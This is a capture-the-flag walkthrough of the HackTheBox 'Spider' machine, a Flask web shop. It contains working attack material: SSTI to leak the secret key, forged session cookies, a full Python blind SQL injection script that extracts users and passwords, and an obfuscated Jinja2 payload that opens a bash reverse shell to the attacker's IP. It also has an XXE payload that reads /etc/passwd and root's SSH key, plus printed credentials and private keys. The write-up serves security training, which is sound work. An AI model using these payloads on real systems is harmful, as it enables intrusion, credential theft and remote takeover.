Spider
This is a hard difficulty Linux machine from HackTheBox created by infoSecjack and chivato. This machine is really complex with a lot of topic, it's excelent to refine your concept and scripting skills. In this scenario, my IP is 10.10.14.83 and the targetโs IP is 10.129.193.169
Gathering Information
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
ping -c 1 10.129.193.169
Pinging 10.129.193.169 with 32 bytes of data:
Reply from 10.129.193.169: bytes=32 time=181ms TTL=63
Reply from 10.129.193.169: bytes=32 time=174ms TTL=63
Reply from 10.129.193.169: bytes=32 time=184ms TTL=63
Reply from 10.129.193.169: bytes=32 time=199ms TTL=63
Ping statistics for 10.129.193.169:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 174ms, Maximum = 199ms, Average = 184ms
The machine is alive, and by the TTL (close to 64) we can assume and confirm that is definitely a Linux Machine
nmap -p- --open -T5 -v -n 10.129.193.169 -oN Ports
Completed SYN Stealth Scan at 17:30, 57.82s elapsed (65535 total ports)
Nmap scan report for 10.129.193.169
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -sCV -p 22,80 10.129.193.169 -oN WebScan
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-16 17:33 Pacific SA Standard Time
Nmap scan report for 10.129.193.169
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
| 256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_ 256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
By searching "OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 launchpad" in google, we find that our target is a Linux-Bionic machine, is good to know every detail about the target... and the other information to the pocket, is that the port 80 use nginx/1.14.0.
We received an http error, let's add the IP to our /etc/host.
#Linux
echo "10.129.193.169 spider.htb" >> /etc/hosts
#Windows, using Ubuntu
echo "10.129.193.169 spider.htb" >> /mnt/c/Windows/System32/drivers/etc/hosts
whatweb http://10.129.193.169
http://10.129.193.169 [301 Moved Permanently] Country[RESERVED][ZZ],
HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.129.193.169],
RedirectLocation[http://spider.htb/], Title[301 Moved Permanently], nginx[1.14.0]
http://spider.htb/ [200 OK] Bootstrap, Cookies[session], Country[RESERVED][ZZ],
HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], HttpOnly[session],
IP[10.129.193.169], JQuery[2.2.4], Script, Title[Welcome to Zeta Furniture.],
X-UA-Compatible[IE=edge], nginx[1.14.0]
# Received a lot of "Response 502" so I decided to filter.
wfuzz -c -f FuzzFile -t 200 --hc=404,502 -w /shared/wordlists/dirbuster/directory-list-2.3-medium.txt http://spider.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://spider.htb/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 255 L 634 W 11273 Ch "index"
000000051: 200 85 L 169 W 2130 Ch "register"
000000039: 200 77 L 156 W 1832 Ch "login"
000000063: 302 3 L 24 W 219 Ch "main"
000000111: 302 3 L 24 W 219 Ch "user"
000000124: 302 3 L 24 W 219 Ch "view"
000000397: 500 4 L 40 W 290 Ch "cart"
000001211: 302 3 L 24 W 209 Ch "logout"
000001688: 500 4 L 40 W 290 Ch "checkout"
000045226: 200 255 L 634 W 11273 Ch "http://spider.htb/"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0
Processed Requests: 97234
Filtered Requests: 97224
Requests/sec.: 0
All right, there is a lot of basic information over the table, now we need to explore the website http://spider.htb/.
After exploring a little bit, is just a simple shop without weird directories, let's intercept the current session anywhere.

echo "eyJjYXJ0X2l0ZW1zIjpbXX0.ZGP8Jw.BrVMT8ucQhhok-dij8L-cci_IWw" | base64 -d
{"cart_items":[]}base64: invalid input
It looks like something to store our cart data, this means that there is a possible escenario where the cookie is connected to some sort of database. Create an account, login, add items to your cart and Intercept your Home-session.

Interesting, after registration, the login process is by using some sort of UUID code... for now it is irrelevant, let's "buy" and then intercept.

echo "eyJjYXJ0X2l0ZW1zIjpbIjEiLCI1Il0sInV1aWQiOiJmODMzODRmZi1kOGMyLTRiNTEtYjk5OC1iMjIyMTkxNTk2N2IifQ.ZGP-fQ.sl9rzz72G6YVcmbZaFVzi_c6lk8" | base64 -d | jq
{
"cart_items": [
"1",
"5"
],
"uuid": "f83384ff-d8c2-4b51-b998-b2221915967b"
}
Ok, it works, from the cookie we can retrieve information...
and after a long search, because we can see the username after login, the best option now is to apply a Server Side Template Injection, to see how this happen, we are going to register as {{config}}, if it works, it's because is vulnerable.
From this point, my IP is 10.10.14.103 and the target IP is 10.129.194.26...

It's a lot of information, save the output in a file, in this page that file will be called "Config"
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

We found some configuration stuff like a new key to use, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', and by the structure of the configuration, maybe this project is using Flask.
pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6Ijc1Y2EzN2U3LWNkYzctNDFiMS05M2YzLTJhZjIyMjI3NjAxNiJ9.ZGU8LA.XxU5AbZdIwzmyjsLSXrziNOpPpA'
#It works!
{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016'}
Exploit
Well, we receive a positive response by using the flask-unsign command, now we can use that command to create custom sessions by using the secret key.
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
With the previous command, the output is equal to the cookie when we login as {{config}}, this means that we successfully execute the reverse process.
What if this JSON data lecture is vulnerable to SQL Injection? Just by adding { \' and sleep(10)-- - } at the end before the '}
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016\' and sleep(10)-- -'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

For agility reasons, I will follow this process using Burpsuite, and spoiler, it works if you the following query: " order by 1 -- -"
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016\' union select \"Test\"-- -'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
There is no new message por "Test" at the webpage, so we are working with a Blind SQL Injection, so the best method here is to create a python script to get character by character the information that you need.
#!/usr/bin/python3
from pwn import *
import pdb, string
import requests
def def_handler(sig, frame):
print("\n\nBreak!\n\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
#Variables
chars = string.ascii_lowercase
url = "http://spider.htb"
cookie = '''{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c'''
secretKey = "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
def makeRequest():
# Progres system, quality of life.
p1 = log.progress("Brute Force")
p1.status("Starting brute force process")
time.sleep(2)
p2 = log.progress("Data")
p2.status("Obtaining characters")
time.sleep(2)
database = ""
count = 0
for char_position in range(1,10):
for character in chars:
p1.status(f"Testing with {character}")
# If True, it will wait 5 seconds, else: Continue testing
# The {'}'} is just to add a single } by using printf... yes, confusing.
payload = f"\\' and if(substr(database(),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
session_cookie = subprocess.check_output(f'''
flask-unsign --sign --cookie "{cookie}{payload}" --secret '{secretKey}'
''', shell=True).decode().strip()
# flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c\' and if(substr(database(),1,1)=\'s\',sleep(5),1)#'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
#session_cookie = f'''flask-unsign --sign --cookie "{cookie}{payload}" --secret '{secretKey}' '''
#print(session_cookie)
headers = {
'Cookie': 'session=%s' % session_cookie
}
time_start = time.time()
r = requests.get(url, headers=headers)
time_end = time.time()
# If True, add the character to database
if time_end - time_start > 5:
database += character
p2.status(database)
count = 0
break
count += 1
if count > range(0,len(chars)):
break
if __name__ == '__main__':
makeRequest()

And the command works, remember that we could use as payload a list with the most common database names, if you don't want to make a whole brute force script.
Now that we know the name of the database, the only thing that is necessary to change at the script is the payload.
payload = f"\\' and if(substr((select table_name from information_schema.tables where table_schema=\\'shop\\' limit 1,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
To know about other tables, we have two options, the first one is to change the "limit 0,1" to "limit 1,1" and so on, the other one is to add another for loop [for j in range(1,10)] to make a list with table names.
# With limit 0,1
[p] Brute Force: Testing with z
[โ] Data: items
# With limit 1,1
[./......] Brute Force: Testing with z
[...\....] Data: messages
# With limit 2,1
[โฃ] Brute Force: Testing with z
[q] Data: support
# With limit 3,1
[โฅ] Brute Force: Testing with z
[.......\] Data: users
Table user found! Now we have to do the same thing but with columns, it's the same login:
payload = f"\\' and if(substr((select column_name from information_schema.columns where table_schema=\\'shop\\' and table_name=\\'users\\' limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# With limit 0,1
[.....\..] Brute Force: Testing with z
[ ] Data: id
# With limit 1,1
[โ] Brute Force: Testing with z
[ ] Data: name
# With limit 2,1
[q] Brute Force: Testing with z
[b] Data: password
# With limit 3,1
[โ] Brute Force: Testing with z
[โ] Data: uuid
Now we know the column name from the table "users". Still, is almost the same logic, first just add some characters to the poll.
chars = string.ascii_letters + string.digits + string.punctuation
# New char_position range
for char_position in range(1,50):
From here, is a cycle between changes at the payload, only to select another column and get more information.
payload = f"\\' and if(substr((select name from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: name // limit 0,1
[<] Brute Force: Testing with z
[ ] Data: chiv
payload = f"\\' and if(substr((select password from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: password // limit 0,1
[โ
] Brute Force: Testing with z
[.] Data: ch1VW4sHERE7331
payload = f"\\' and if(substr((select uuid from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: uuid // limit 0,1
[o] Brute Force: Testing with z
[โง] Data: 129f60ea-30cf-4065-afb9-6be45ad38b73
Login to the web page with the new credentials.


I tried some stuff but nothing happens, but there is an URL there.
browser: spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

We don't know which characters are banned, our best option now is to get a payload and make change from every error, the payload will be:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Payload result after many many many changes:
{%include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("sleep 5")|attr("read")()%}

The command "sleep 5" works so we have a new potential way to execute commands...
echo "bash -i >& /dev/tcp/10.10.14.103/443 0>&1" | base64; echo
# Replace "sleep 5" with the following command:
# "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDMvNDQzIDA+JjEK | base64 -d | bash"
# Then:
nc -nlvp 443
{%include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDMvNDQzIDA+JjEK | base64 -d | bash")|attr("read")()%}
And finally, we are at the machine!
chiv@spider:/var/www/webapp$ whoami
whoami
chiv
chiv@spider:/var/www/webapp$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:60:a9 brd ff:ff:ff:ff:ff:ff
inet 10.129.194.205/16 brd 10.129.255.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:60a9/64 scope global dynamic mngtmpaddr
valid_lft 86396sec preferred_lft 14396sec
inet6 fe80::250:56ff:feb9:60a9/64 scope link
valid_lft forever preferred_lft forever
Follow the steps from TTY treatment to upgrade your bash
chiv@spider:/var/www/webapp$ ls
ls
app.py __pycache__ static templates webapp.ini webapp.sock wsgi.py
chiv@spider:/var/www/webapp$ cat app.py
cat app.py
# from: cat app.py
<...>
app.config['UPLOAD_FOLDER'] = 'static/uploads'
app.secret_key = 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
while True:
try:
connection = pymysql.connect(host='localhost',
user='chivato',
password='rghorsfruUEFHEfhes83214',
db='shop',
charset='utf8mb4',
cursorclass=pymysql.cursors.DictCursor)
<...>
Look at this, free credentials!
ssh chiv@10.129.194.205
The authenticity of host '10.129.194.205 (10.129.194.205)' can't be established.
ED25519 key fingerprint is SHA256:rq9z2YnbZs3ZBIGMX0c2Zv5Y5jk/1Zl5LhztpJxelRs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.194.205' (ED25519) to the list of known hosts.
chiv@10.129.194.205: Permission denied (publickey).
But didn't work... let's get the flag then.
chiv@spider:/var/www/webapp$ cd /home/chiv
cd /home/chiv
chiv@spider:~$ ls
ls
user.txt
chiv@spider:~$ cat user.txt
cat user.txt
81b7cc441dce823e7e44d31e633e823e
Privileges Escalation
To make thing easier, go to /home/chiv/.ssh and copy the public id_rsa at your local machine, then connect to the target.
chiv@spider:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAOQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwdo/zrgxGdcOa7zq6zlnwYlY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGbEXcIW9oowFXD2ufo2WPXym0QIDAQABAoIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTQDkgubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhfAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAyQU4NIsKNnewIrq
54dWOw8lwOXp2ndmo3FdOfjm1SMNYtB5yvPR9enbu3wkX94fC/NS9OqLLMzZfYFy
f0EMoUECgYEAxuNi/9sNNJ6UaTlZTsn6Z8X/i4AKVFgUGw4sYzswWPC4oJTDDB62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0UOJ1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaNOyJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fmOO1+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K1Oc0/hDtSSHSwI/PSN4C2DVyOahrDcPkArfOmBF1ozcR9OBAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqwL2EYaOtH4+4OgkJ
mQRXp5yVQklBOtq5E55IrphKdNxLg6T8fR30IAKISDlJv3RwkZn1Kgcu8dOl/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScirRqqzINwmS+BD+80hyOo3lmhRcD8cFb
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbyMxD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poifJI5hpuWgLpWSEsD05L09yO
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----
vi id_rsa # paste content
chmod 600 id_rsa
ssh -i id_rsa chiv@10.129.194.205
Now we proceed with the scouting.
find \-perm 4000 2>/dev/null # Nothing relevant from here.
#<...>
lsb_release -a #Nothing relevant
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.5 LTS
Release: 18.04
Codename: bionic
chiv@spider:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 127.0.0.1:34488 ESTABLISHED
tcp 0 0 10.129.194.205:52266 10.10.14.103:443 ESTABLISHED
tcp 0 244 10.129.194.205:22 10.10.14.103:53338 ESTABLISHED
tcp 0 0 10.129.194.205:52274 10.10.14.103:443 ESTABLISHED
tcp 0 0 127.0.0.1:34488 127.0.0.1:3306 ESTABLISHED
tcp 0 1 10.129.194.205:41628 1.1.1.1:53 SYN_SENT
tcp6 0 0 :::22 :::* LISTEN
There is something at the port 8080, usually used to host other website.
curl localhost:8080
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.c
It exist, but isn't redirecting us, so an alternative here is to use a local portforwarding to connect from our machine to that website.
ssh -i id_rsa chiv@10.129.194.205 -L 80:127.0.0.1:8080
Browser: localhost



If you intercept the moment when you login, you send the username, here was "hola", and you send a "version", then receive a new cookie. We know the process to decrypt that cookie.
flask-unsign --decode --cookie '.eJxNjEFvgyAARv_KwnkHYHYHk14MqKPTBhRQb1qaYUVnqtmsTf_71qRLdnx57_uuwC29A_4VPDXAB5KmoaFLzjumhJ4H1SN91Mmliau2lqGXR2NgJCK8EIki4l1SuzP92yqzmfz6IZNpsA_HWJyC6u7vXEFHuDaMQ-pVod03UTqn2rYKyXMpD5sDctK8VJ2mm6nEENURK9S_v8eeC7y8asKiGrOiiRWvO-rlhE1H93ER_dwqvCAZma-_nq_urJXN6jAYmtUmCRxxeUrF7nu7BbdnMH62wzwBH95-AHCzVak.ZGb8nQ.UYKTrXadL_5aN-GLPGkUJlhb5Zw'
We receive the following output:
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+aG9sYTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 'points': 0}
It's an XML, a nice clue for a XXE (XML Externar Entity) vulnerability, but first we have to decrypt that section.
echo "PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+aG9sYTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+" | base64 -d
<!-- API Version 1.0.0 -->
<root>
<data>
<username>hola</username>
<is_admin>0</is_admin>
</data>
The output return the API version, this in definitely a modifiable part from the request, so, let's create a payload and use Burpsuite to send it.

username=%26test%3b&version=1.0.0--><!DOCTYPE foo [ <!ENTITY test SYSTEM "file:///etc/passwd"> ]><!--
Then press forward and voila, you will see the whole /etc/passwd, for some reason, if you try to advance by only using Burpsuite, remember to change the current cookie to the new one.

Now let's try with a new payload

username=%26test%3b&version=1.0.0--><!DOCTYPE foo [ <!ENTITY test SYSTEM "file:///root/.ssh/id_rsa"> ]><!--


Copy the id_rsa and try to connect again to the target.
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAl/dn2XpJQuIw49CVNdAgdeO5WZ47tZDYZ+7tXD8Q5tfqmyxq
gsgQskHffuzjq8v/q4aBfm6lQSn47G8foq0gQ1DvuZkWFAATvTjliXuE7gLcItPt
iFtbg7RQV/xaTwAmdRfRLb7x63TG6mZDRkvFvGfihWqAnkuJNqoVJclgIXLuwUvk
4d3/Vo/MdEUb02ha7Rw9oHSYKR4pIgv4mDwxGGL+fwo6hFNCZ+YK96wMlJc3vo5Z
EgkdKXy3RnLKvtxjpIlfmAZGu0T+RX1GlmoPDqoDWRbWU+wdbES35vqxH0uM5WUh
vPt5ZDGiKID4Tft57udHxPiSD6YBhLT5ooHfFQIDAQABAoIBAFxB9Acg6Vc0kO/N
krhfyUUo4j7ZBHDfJbI7aFinZPBwRtq75VHOeexud2vMDxAeQfJ1Lyp9q8/a1mdb
sz4EkuCrQ05O9QthXJp0700+8t24WMLAHKW6qN1VW61+46iwc6iEtBZspNwIQjbN
rKwBlmMiQnAyzzDKtNu9+Ca/kZ/cAjLpz3m1NW7X//rcDL8kBGs8RfuHqz/R4R7e
HtCvxuXOFnyo/I+A3j1dPHoc5UH56g1W82NwTCbtCfMfeUsUOByLcg3yEypClO/M
s7pWQ1e4m27/NmU7R/cslc03YFQxow+CIbdd59dBKTZKErdiMd49WiZSxizL7Rdt
WBTACsUCgYEAyU9azupb71YnGQVLpdTOzoTD6ReZlbDGeqz4BD5xzbkDj7MOT5Dy
R335NRBf7EJC0ODXNVSY+4vEXqMTx9eTxpMtsP6u0WvIYwy9C7K/wCz+WXNV0zc0
kcSQH/Yfkd2jADkMxHXkz9THXCChOfEt7IUmNSM2VBKb1xBMkuLXQbMCgYEAwUBS
FhRNrIB3os7qYayE+XrGVdx/KXcKva6zn20YktWYlH2HLfXcFQQdr30cPxxBSriS
BAKYcdFXSUQDPJ1/qE21OvDLmJFu4Xs7ZdGG8o5v8JmF6TLTwi0Vi45g38DJagEl
w42zV3vV7bsAhQsMvd3igLEoDFt34jO9nQv9KBcCgYEAk8eLVAY7AxFtljKK++ui
/Xv9DWnjtz2UFo5Pa14j0O+Wq7C4OrSfBth1Tvz8TcW+ovPLSD0YKODLgOWaKcQZ
mVaF3j64OsgyzHOXe7T2iq788NF4GZuXHcL8Qlo9hqj7dbhrpPUeyWrcBsd1U8G3
AsAj8jItOb6HZHN0owefGX0CgYAICQmgu2VjZ9ARp/Lc7tR0nyNCDLII4ldC/dGg
LmQYLuNyQSnuwktNYGdvlY8oHJ+mYLhJjGYUTXUIqdhMm+vj7p87fSmqBVoL7BjT
Kfwnd761zVxhDuj5KPC9ZcUnaJe3XabZU7oCSDbj9KOX5Ja6ClDRswwMP31jnW0j
64yyLwKBgBkRFxxuGkB9IMmcN19zMWA6akE0/jD6c/51IRx9lyeOmWFPqitNenWK
teYjUjFTLgoi8MSTPAVufpdQV4128HuMbMLVpHYOVWKH/noFetpTE2uFStsNrMD8
vEgG/fMJ9XmHVsPePviZBfrnszhP77sgCXX8Grhx9GlVMUdxeo+j
-----END RSA PRIVATE KEY-----
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.194.205
root@spider:~# cat /root/root.txt
d71168a8e7978faad7f970b914bcde55
Last updated